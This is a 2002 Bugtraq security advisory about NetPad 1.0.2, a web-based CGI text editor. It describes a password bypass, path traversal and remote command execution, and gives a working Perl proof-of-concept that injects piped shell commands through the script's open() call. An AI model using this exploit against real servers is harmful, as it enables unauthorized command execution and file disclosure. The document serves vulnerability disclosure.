LevCGI.coms NetPad 1.0.2 multiple vulnerabilities

From: BrainRawt . (brainrawt@hotmail.com)
Date: 05/14/02


From: "BrainRawt ." <brainrawt@hotmail.com>
To: bugtraq@securityfocus.com
Date: Tue, 14 May 2002 01:44:28 +0000


Levcgi.coms NetPad 1.0.2 Multiple Vulnerabilities Advisory
Discovered By b0iler(b0iler@hotmail.com) and
BrainRawt(brainrawt@hotmail.com)

About Netpad:
------------------
<quote from levcgi.com>

Easy to install and use text editor for your web browser! This NotePad like
program allows you to open your files and pages online in your browser and
edit their contents through the browser without forcing you to re-upload
your changes all the time! Extremely effecient and a must have tool for all
webmasters!

</quote from levcgi.com>

According to the website, ...NetPad has been downloaded 1225 times!

Vulnerable (tested) Versions:
--------------------
NetPad v 1.0.2

Vendor Contact:
----------------
4-28-02 - Emailed lev@taintedthoughts.com

Vulnerabilities:

-- Password Bypass

1. The website claims "password security feature to prevent unauthorized
access!",
    but this is NOT true.

    A password is not required to read files. It is only required to write
to files.

-- Path Traversal

2. Improper filtering of input allows one to enter the traditional
"../../../" into
    the input field to crawl back through directories of the server hosting
netpad.cgi,
    allowing one to view any file readable by the webserver.

-- Command Execution

3. Due to improper usage of the open() function and input filtering, it is
possible
    for a malicious visitor to remotely execute commands on the server
hosting
    netpad.cgi

    Proof of Concept code can be found below............

Remote Command Execution Exploit (POC):
---------------------------------------

#!/usr/bin/perl
# exploit for levcgi's NetPad 1.0.2
#
# This could easily be done with any browser and alittle effort.
#
# requires LWP avaliable at
# http://www.linpro.no/lwp/libwww-perl-5.64.tar.gz
# also, the number of ../'s differs. It depends on what $basedir
# is set to in the netpad.cgi script
#
# usage: perl script.pl http://site.tld/cgi-bin/netpad.cgi
../../../../bin/command

use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("your open call can be exploited" . $ua->agent);

my $req = new HTTP::Request POST => $ARGV[0];
$req->content_type('application/x-www-form-urlencoded');
foreach(@ARGV){ $of .= "$_ " unless($_ eq $ARGV[0]); }
$req->content("proc=open&of=${of}|");

my $res = $ua->request($req);
if ($res->is_success) { print $res->content . "\n\nit should have
worked.\n"; }
else { print "request failed.\n"; }

Fix:
------

No matter how well one filters input to this program, we recommend that the
program itself be protected by htaccess.

--------------------------------------------------------------------------
Did you (Lev) say something about stupid people doing stupid things? -
BrainRawt

_________________________________________________________________
Send and receive Hotmail on your mobile device: http://mobile.msn.com



Relevant Pages

  • Re: BIND update?
    ... ask to resolve www.google.com, the answer does not mean "www.google.com is on the network at 74.125.19.104." ... Yes, yes, DNS makes no security guarantees, it's always been vulnerable, this is old old news. ... what's at issue is that you're choosing to let unknown and untrusted sites inject arbitrary data into your web browser. ... check old CERT advisories, attackers have been exploiting DNS cache vulnerabilities in home/soho routers/WAPs/firewalls for a while now. ...
    (FreeBSD-Security)
  • Re: Just venting (totally OT)
    ... If you can point out better free anti virus, firewall, anti ... Malware authors write their nasties to exploit vulnerabilities in MS IE ... Using your logic if Opera had many more vulnerabilities than IE the bad guys would write their nasties to exploit Opera instead of focusing on IE even though Opera has a very small % of the browser market. ...
    (uk.people.support.depression)
  • Re: [opensuse] OpenSuse 11
    ... stress-test suite for a browser infrastructure. ... dynamically linked extensions and which has a perfect JavaScript ... It is also the case that many of these vulnerabilities are equally ...
    (SuSE)
  • Re: Internet Explorer has been hijacked by "About:Blank"
    ... less bug-riddled browser and abandon IE to the ... Because you cannot abandon it completely and although there are "less ... found one browser that blocks all popups or all spyware/adware/malware yet - ... getting attacked and showing its true vulnerabilities. ...
    (microsoft.public.windows.inetexplorer.ie6.browser)